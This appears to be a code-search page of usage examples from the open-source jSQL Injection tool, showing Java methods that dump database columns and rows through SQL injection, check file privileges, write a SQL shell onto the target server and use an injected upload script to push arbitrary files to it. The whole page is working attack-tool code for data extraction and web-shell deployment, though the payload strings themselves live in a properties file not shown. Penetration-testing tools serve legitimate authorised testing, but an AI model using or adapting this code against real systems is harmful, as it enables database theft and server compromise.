use of com.jsql.model.suspendable.SuspendableGetRows in project jsql-injection by ron190.
the class DataAccess method listColumns.
/**
* Get column names and send them to the view.<br>
* Use readable text (not hexa) and parse this pattern with 2nd member forced to 31 (1 in ascii):<br>
* => hh[column name 1]jj[31]hhgghh[column name 2]jj[31]hhggh...hi<br>
* Data window can be cut before the end of the request but the process helps to obtain
* the rest of the unreachable data. The process can be interrupted by the user (stop/pause).
* @param table which contains columns to find
* @return list of columns found
* @throws JSqlException when injection failure or stopped by user
*/
public static List<Column> listColumns(Table table) throws JSqlException {
List<Column> columns = new ArrayList<>();
// Inform the view that table has just been used
Request requestStartProgress = new Request();
requestStartProgress.setMessage(Interaction.START_INDETERMINATE_PROGRESS);
requestStartProgress.setParameters(table);
MediatorModel.model().sendToViews(requestStartProgress);
String resultToParse = "";
try {
String[] pageSource = { "" };
resultToParse = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlColumns(table), pageSource, true, 0, table);
} catch (SlidingException e) {
LOGGER.warn(e.getMessage(), e);
// Get pieces of data already retreived instead of losing them
if (!"".equals(e.getSlidingWindowAllRows())) {
resultToParse = e.getSlidingWindowAllRows();
} else if (!"".equals(e.getSlidingWindowCurrentRows())) {
resultToParse = e.getSlidingWindowCurrentRows();
}
} catch (Exception e) {
LOGGER.warn(e.getMessage(), e);
}
// Build SQLite columns
if (MediatorModel.model().getVendor() == Vendor.SQLITE) {
resultToParse = Vendor.SQLITE.transform(resultToParse);
}
// Parse all the data we have retrieved
Matcher regexSearch = Pattern.compile(MODE + ENCLOSE_VALUE_RGX + CELL_TABLE + ENCLOSE_VALUE_RGX).matcher(resultToParse);
Request requestEndProgress = new Request();
requestEndProgress.setMessage(Interaction.END_INDETERMINATE_PROGRESS);
requestEndProgress.setParameters(table);
MediatorModel.model().sendToViews(requestEndProgress);
if (!regexSearch.find()) {
throw new InjectionFailureException();
}
regexSearch.reset();
// Build an array of Column objects from the data we have parsed
while (regexSearch.find()) {
String nameColumn = regexSearch.group(1);
Column column = new Column(nameColumn, table);
columns.add(column);
}
Request requestAddColumns = new Request();
requestAddColumns.setMessage(Interaction.ADD_COLUMNS);
requestAddColumns.setParameters(columns);
MediatorModel.model().sendToViews(requestAddColumns);
return columns;
}
use of com.jsql.model.suspendable.SuspendableGetRows in project jsql-injection by ron190.
the class DataAccess method listValues.
/**
* Get table values and count each occurrences and send them to the view.<br>
* Values are on clear text (not hexa) and follows this window pattern<br>
* => hh[value 1]jj[count]hhgghh[value 2]jj[count]hhggh...hi<br>
* Data window can be cut before the end of the request but the process helps to obtain
* the rest of the unreachable data. The process can be interrupted by the user (stop/pause).
* @param columns choosed by the user
* @return a 2x2 table containing values by columns
* @throws JSqlException when injection failure or stopped by user
*/
public static String[][] listValues(List<Column> columns) throws JSqlException {
Database database = (Database) columns.get(0).getParent().getParent();
Table table = (Table) columns.get(0).getParent();
int rowCount = columns.get(0).getParent().getChildCount();
// Inform the view that table has just been used
Request request = new Request();
request.setMessage(Interaction.START_PROGRESS);
request.setParameters(table);
MediatorModel.model().sendToViews(request);
// Build an array of column names
List<String> columnsName = new ArrayList<>();
for (AbstractElementDatabase e : columns) {
columnsName.add(e.toString());
}
/*
* From that array, build the SQL fields nicely
* => col1{%}col2...
* ==> trim(ifnull(`col1`,0x00)),0x7f,trim(ifnull(`Col2`,0x00))...
*/
String[] arrayColumns = columnsName.toArray(new String[columnsName.size()]);
String resultToParse = "";
try {
String[] pageSource = { "" };
resultToParse = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlRows(arrayColumns, database, table), pageSource, true, rowCount, table);
} catch (SlidingException e) {
LOGGER.warn(e.getMessage(), e);
// Get pieces of data already retreived instead of losing them
if (!"".equals(e.getSlidingWindowAllRows())) {
resultToParse = e.getSlidingWindowAllRows();
} else if (!"".equals(e.getSlidingWindowCurrentRows())) {
resultToParse = e.getSlidingWindowCurrentRows();
}
} catch (Exception e) {
LOGGER.warn(e.getMessage(), e);
}
// Parse all the data we have retrieved
Matcher regexSearch = Pattern.compile(MODE + ENCLOSE_VALUE_RGX + "([^\\x01-\\x09\\x0B-\\x0C\\x0E-\\x1F]*?)" + SEPARATOR_QTE_RGX + "([^\\x01-\\x09\\x0B-\\x0C\\x0E-\\x1F]*?)(\\x08)?" + ENCLOSE_VALUE_RGX).matcher(resultToParse);
if (!regexSearch.find()) {
throw new InjectionFailureException();
}
regexSearch.reset();
int rowsFound = 0;
List<List<String>> listValues = new ArrayList<>();
// => row number, occurrence, value1, value2...
while (regexSearch.find()) {
String values = regexSearch.group(1);
int instances = Integer.parseInt(regexSearch.group(2));
listValues.add(new ArrayList<String>());
listValues.get(rowsFound).add(Integer.toString(rowsFound + 1));
listValues.get(rowsFound).add("x" + instances);
for (String cellValue : values.split("\\x7F", -1)) {
listValues.get(rowsFound).add(cellValue);
}
rowsFound++;
}
// Add the default title to the columns: row number, occurrence
columnsName.add(0, "");
columnsName.add(0, "");
// Build a proper 2D array from the data
String[][] tableDatas = new String[listValues.size()][columnsName.size()];
for (int indexRow = 0; indexRow < listValues.size(); indexRow++) {
boolean isIncomplete = false;
for (int indexColumn = 0; indexColumn < columnsName.size(); indexColumn++) {
try {
tableDatas[indexRow][indexColumn] = listValues.get(indexRow).get(indexColumn);
} catch (IndexOutOfBoundsException e) {
isIncomplete = true;
LOGGER.trace("Incomplete line found");
// Ignore
IgnoreMessageException exceptionIgnored = new IgnoreMessageException(e);
LOGGER.trace(exceptionIgnored, exceptionIgnored);
}
}
if (isIncomplete) {
LOGGER.warn("String is too long, row #" + (indexRow + 1) + " is incomplete:");
LOGGER.warn(String.join(", ", listValues.get(indexRow).toArray(new String[listValues.get(indexRow).size()])));
}
}
arrayColumns = columnsName.toArray(new String[columnsName.size()]);
// Group the columns names, values and Table object in one array
Object[] objectData = { arrayColumns, tableDatas, table };
Request requestCreateValuesTab = new Request();
requestCreateValuesTab.setMessage(Interaction.CREATE_VALUES_TAB);
requestCreateValuesTab.setParameters(objectData);
MediatorModel.model().sendToViews(requestCreateValuesTab);
Request requestEndProgress = new Request();
requestEndProgress.setMessage(Interaction.END_PROGRESS);
requestEndProgress.setParameters(table);
MediatorModel.model().sendToViews(requestEndProgress);
return tableDatas;
}
use of com.jsql.model.suspendable.SuspendableGetRows in project jsql-injection by ron190.
the class RessourceAccess method createSqlShell.
/**
* Create SQL shell on the server. Override user name and password eventually.
* @param pathShell Script to create on the server
* @param url URL for the script (used for url rewriting)
* @param username User name for current database
* @param password User password for current database
* @throws InterruptedException
* @throws InjectionFailureException
* @throws StoppedByUserSlidingException
*/
public static void createSqlShell(String pathShell, String urlShell, String username, String password) throws JSqlException, InterruptedException {
if (!RessourceAccess.isReadingAllowed()) {
return;
}
String sourceShellToInject = PropertiesUtil.getInstance().getProperties().getProperty("shell.sql").replace(DataAccess.LEAD_IN_SHELL, DataAccess.LEAD).replace(DataAccess.TRAIL_IN_SHELL, DataAccess.TRAIL);
String pathShellFixed = pathShell;
if (!pathShellFixed.matches(".*/$")) {
pathShellFixed += "/";
}
MediatorModel.model().injectWithoutIndex(MediatorModel.model().getVendor().instance().sqlTextIntoFile(sourceShellToInject, pathShellFixed + FILENAME_SQLSHELL));
String resultInjection;
String[] sourcePage = { "" };
try {
resultInjection = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlFileRead(pathShellFixed + FILENAME_SQLSHELL), sourcePage, false, 1, null);
if ("".equals(resultInjection)) {
throw new JSqlException("payload integrity verification: Empty payload");
}
} catch (JSqlException e) {
throw new JSqlException("injected payload does not match source", e);
}
if (!urlShell.isEmpty()) {
urlShell = urlShell.replaceAll("/*$", "") + "/";
}
String url = urlShell;
if ("".equals(url)) {
url = ConnectionUtil.getUrlBase();
}
if (resultInjection.indexOf(sourceShellToInject) > -1) {
LOGGER.debug("SQL payload created into \"" + pathShellFixed + FILENAME_SQLSHELL + "\"");
//
String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", "");
String urlProtocol;
if ("/".equals(urlWithoutProtocol)) {
urlProtocol = url.replaceAll("/+$", "");
} else {
urlProtocol = url.replace(urlWithoutProtocol, "");
}
String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", "").replaceAll("/+", "/");
List<String> directoryNames = new ArrayList<>();
if (urlWithoutFileName.split("/").length == 0) {
directoryNames.add("/");
}
for (String directoryName : urlWithoutFileName.split("/")) {
directoryNames.add(directoryName + "/");
}
ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableCreateSqlShell"));
CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
StringBuilder urlPart = new StringBuilder();
for (String segment : directoryNames) {
urlPart.append(segment);
taskCompletionService.submit(new CallableHttpHead(urlProtocol + urlPart.toString() + FILENAME_SQLSHELL));
}
int submittedTasks = directoryNames.size() * 1;
int tasksHandled;
String urlSuccess = null;
for (tasksHandled = 0; tasksHandled < submittedTasks; tasksHandled++) {
try {
CallableHttpHead currentCallable = taskCompletionService.take().get();
if (currentCallable.isHttpResponseOk()) {
urlSuccess = currentCallable.getUrl();
if (!urlShell.isEmpty() && urlSuccess.replace(FILENAME_SQLSHELL, "").equals(urlShell) || urlSuccess.replace(FILENAME_SQLSHELL, "").equals(urlProtocol + urlWithoutFileName)) {
LOGGER.debug("Connection to payload found at expected location \"" + urlSuccess + "\"");
} else {
LOGGER.debug("Connection to payload found at unexpected location \"" + urlSuccess + "\"");
}
} else {
LOGGER.trace("Connection to payload not found at \"" + currentCallable.getUrl() + "\"");
}
} catch (InterruptedException | ExecutionException e) {
LOGGER.error("Interruption while checking SQL shell", e);
}
}
taskExecutor.shutdown();
taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
if (urlSuccess != null) {
Request request = new Request();
request.setMessage(Interaction.CREATE_SQL_SHELL_TAB);
request.setParameters(pathShellFixed.replace(FILENAME_SQLSHELL, ""), urlSuccess, username, password);
MediatorModel.model().sendToViews(request);
} else {
LOGGER.warn("HTTP connection to SQL payload not found");
}
} else {
throw new JSqlException("Incorrect SQL payload integrity: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"));
}
}
use of com.jsql.model.suspendable.SuspendableGetRows in project jsql-injection by ron190.
the class RessourceAccess method uploadFile.
/**
* Upload a file to the server.
* @param pathFile Remote path of the file to upload
* @param urlFile URL of uploaded file
* @param file File to upload
* @throws JSqlException
* @throws IOException
*/
public static void uploadFile(String pathFile, String urlFile, File file) throws JSqlException, IOException {
if (!RessourceAccess.isReadingAllowed()) {
return;
}
String sourceShellToInject = PropertiesUtil.getInstance().getProperties().getProperty("shell.upload").replace(DataAccess.LEAD_IN_SHELL, DataAccess.LEAD);
String pathShellFixed = pathFile;
if (!pathShellFixed.matches(".*/$")) {
pathShellFixed += "/";
}
MediatorModel.model().injectWithoutIndex(MediatorModel.model().getVendor().instance().sqlTextIntoFile("<" + DataAccess.LEAD + ">" + sourceShellToInject + "<" + DataAccess.TRAIL + ">", pathShellFixed + FILENAME_UPLOAD));
String[] sourcePage = { "" };
String sourceShellInjected;
try {
sourceShellInjected = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlFileRead(pathShellFixed + FILENAME_UPLOAD), sourcePage, false, 1, null);
if ("".equals(sourceShellInjected)) {
throw new JSqlException("Bad payload integrity: Empty payload");
}
} catch (JSqlException e) {
throw new JSqlException("Payload integrity verification failed: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"), e);
}
String urlFileFixed = urlFile;
if ("".equals(urlFileFixed)) {
urlFileFixed = ConnectionUtil.getUrlBase().substring(0, ConnectionUtil.getUrlBase().lastIndexOf('/') + 1);
}
if (sourceShellInjected.indexOf(sourceShellToInject) > -1) {
LOGGER.debug("Upload payload deployed at \"" + urlFileFixed + FILENAME_UPLOAD + "\" in \"" + pathShellFixed + FILENAME_UPLOAD + "\"");
String crLf = "\r\n";
URL urlUploadShell = new URL(urlFileFixed + "/" + FILENAME_UPLOAD);
URLConnection connection = urlUploadShell.openConnection();
connection.setDoOutput(true);
try (InputStream streamToUpload = new FileInputStream(file)) {
byte[] streamData = new byte[streamToUpload.available()];
if (streamToUpload.read(streamData) == -1) {
throw new JSqlException("Error reading the file");
}
String headerForm = "";
headerForm += "-----------------------------4664151417711" + crLf;
headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\"" + file.getName() + "\"" + crLf;
headerForm += "Content-Type: binary/octet-stream" + crLf;
headerForm += crLf;
String headerFile = "";
headerFile += crLf + "-----------------------------4664151417711--" + crLf;
connection.setRequestProperty("Content-Type", "multipart/form-data; boundary=---------------------------4664151417711");
connection.setRequestProperty("Content-Length", String.valueOf(headerForm.length() + headerFile.length() + streamData.length));
try (OutputStream streamOutputFile = connection.getOutputStream()) {
streamOutputFile.write(headerForm.getBytes());
int index = 0;
int size = 1024;
do {
if (index + size > streamData.length) {
size = streamData.length - index;
}
streamOutputFile.write(streamData, index, size);
index += size;
} while (index < streamData.length);
streamOutputFile.write(headerFile.getBytes());
streamOutputFile.flush();
}
try (InputStream streamInputFile = connection.getInputStream()) {
char buff = 512;
int len;
byte[] data = new byte[buff];
StringBuilder result = new StringBuilder();
do {
len = streamInputFile.read(data);
if (len > 0) {
result.append(new String(data, 0, len));
}
} while (len > 0);
if (result.indexOf(DataAccess.LEAD + "y") > -1) {
LOGGER.debug("File \"" + file.getName() + "\" uploaded into \"" + pathShellFixed + "\"");
} else {
LOGGER.warn("Upload file \"" + file.getName() + "\" into \"" + pathShellFixed + "\" failed");
}
Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
msgHeader.put(Header.URL, urlFileFixed);
msgHeader.put(Header.POST, "");
msgHeader.put(Header.HEADER, "");
msgHeader.put(Header.RESPONSE, HeaderUtil.getHttpHeaders(connection));
msgHeader.put(Header.SOURCE, result.toString());
Request request = new Request();
request.setMessage(Interaction.MESSAGE_HEADER);
request.setParameters(msgHeader);
MediatorModel.model().sendToViews(request);
}
}
} else {
throw new JSqlException("Incorrect Upload payload integrity: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"));
}
Request request = new Request();
request.setMessage(Interaction.END_UPLOAD);
MediatorModel.model().sendToViews(request);
}
use of com.jsql.model.suspendable.SuspendableGetRows in project jsql-injection by ron190.
the class RessourceAccess method isReadingAllowed.
/**
* Check if current user can read files.
* @return True if user can read file, false otherwise
* @throws JSqlException when an error occurs during injection
*/
public static boolean isReadingAllowed() throws JSqlException {
// Fix #41055: NullPointerException on getFile()
if (MediatorModel.model().getVendor().instance().getXmlModel().getResource().getFile() == null) {
LOGGER.warn("Reading file on " + MediatorModel.model().getVendor() + " is currently not supported");
return false;
}
String[] sourcePage = { "" };
String resultInjection = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlPrivilegeTest(), sourcePage, false, 1, null);
if ("".equals(resultInjection)) {
MediatorModel.model().sendResponseFromSite("Can't read privilege", sourcePage[0].trim());
Request request = new Request();
request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
MediatorModel.model().sendToViews(request);
RessourceAccess.readingIsAllowed = false;
} else if ("false".equals(resultInjection)) {
LOGGER.warn("Privilege FILE is not granted to current user, files can't be read");
Request request = new Request();
request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
MediatorModel.model().sendToViews(request);
RessourceAccess.readingIsAllowed = false;
} else {
Request request = new Request();
request.setMessage(Interaction.MARK_FILE_SYSTEM_VULNERABLE);
MediatorModel.model().sendToViews(request);
RessourceAccess.readingIsAllowed = true;
}
// TODO optional
return RessourceAccess.readingIsAllowed;
}
Aggregations